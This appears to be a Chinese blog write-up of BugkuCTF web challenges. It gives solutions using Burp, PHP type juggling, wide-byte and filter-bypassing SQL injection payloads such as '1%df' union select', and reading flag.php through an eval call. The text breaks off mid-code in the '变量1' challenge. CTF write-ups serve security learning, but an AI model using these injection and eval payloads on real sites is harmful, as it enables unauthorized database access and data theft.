BugkuCTF(Web) WriteUp

本文档详细记录了BugkuCTF中的Web部分挑战,包括文件上传、SQL注入、域名解析、XSS、PHP函数利用等各种技术的实战应用,通过解决各个题目,展示了Web安全的各种攻防技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web部分

注:Bugku注入题总结见:链接

web2

点开以后发现是满屏的滑稽,按照国际惯例,查看源代码发现flag
这里写图片描述

文件上传测试

用burp抓包修改文件名后缀为.php

计算器

修改最大长度限制
这里写图片描述

web基础$_GET

题目如下

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

直接输入?what=flag
这里写图片描述

web基础$_POST

题目如下

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

(这里用的火狐浏览器插件HackBar)
这里写图片描述

矛盾

题目代码如下

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

随便输入一个以1开头的字符串
这里写图片描述
也可以利用is_numeric()遇到%00截断的漏洞,构造?num=1%00

Web3

打开页面一直在弹窗,直接查看源代码,在最底端发现可疑编码,转码可得flag
这里写图片描述

sql注入

查看源代码发现是网页编码是gb2312,想到宽字节注入
这里写图片描述
果然输入1%df’ 被转换成了1運
?id=1%bf' and version()>0--+返回正确,则数据库可能为sqlserver和mysql
?id=1%bf' and length(user())>0 --+ 返回正确,说明存在user()函数,是mysql数据库
输入?id=1%df' order by 2 --+ 正常回显
输入?id=1%df' order by 3 --+ 显示Unknown column ‘3’ in ‘order clause’
可得一共有两列
输入?id=1%df' union select database(),2 --+得知数据库名为sql5
这里写图片描述
输入?id=1%df' union select 1,string from sql5.key --+ 可得
这里写图片描述

域名解析

打开linux虚拟机,在终端输入sudo gedit /etc/hosts
添加120.24.86.145 flag.bugku.com
这里写图片描述
保存,直接访问flag.bugku.com

SQL注入1

题目过滤了关键字

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感关键字!'.$value);
	}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
			

可以用%00或者加<>绕过关键词过滤
输入?id=1 uni%00on sel%00ect 1,database() --+ 得数据库名为sql3
或者这样构造:?id=1 un<>ion sel<>ect 1,database() --+
(因为这句$id = strip_tags($id); 会把<>替换为空)

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

这里写图片描述
输入?id=1 uni%00on sel%00ect 1,hash fr%00om sql3.key --+ 得到flag

你必须让他停下

用burp抓包后一直foward,会看到带有flag的页面,或者发送到Repeater

本地包含

题目

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

file() 函数把整个文件读入一个数组中。

看到eval( "var_dump($a);"); 这句,会输出$a的结构,若是数组将递归展开值,通过缩进显示其结构。
所以可以利用file()函数,把flag.php文件读入数组。
构造:?hello=file('flag.php')

变量1

题目如下

<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args&#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值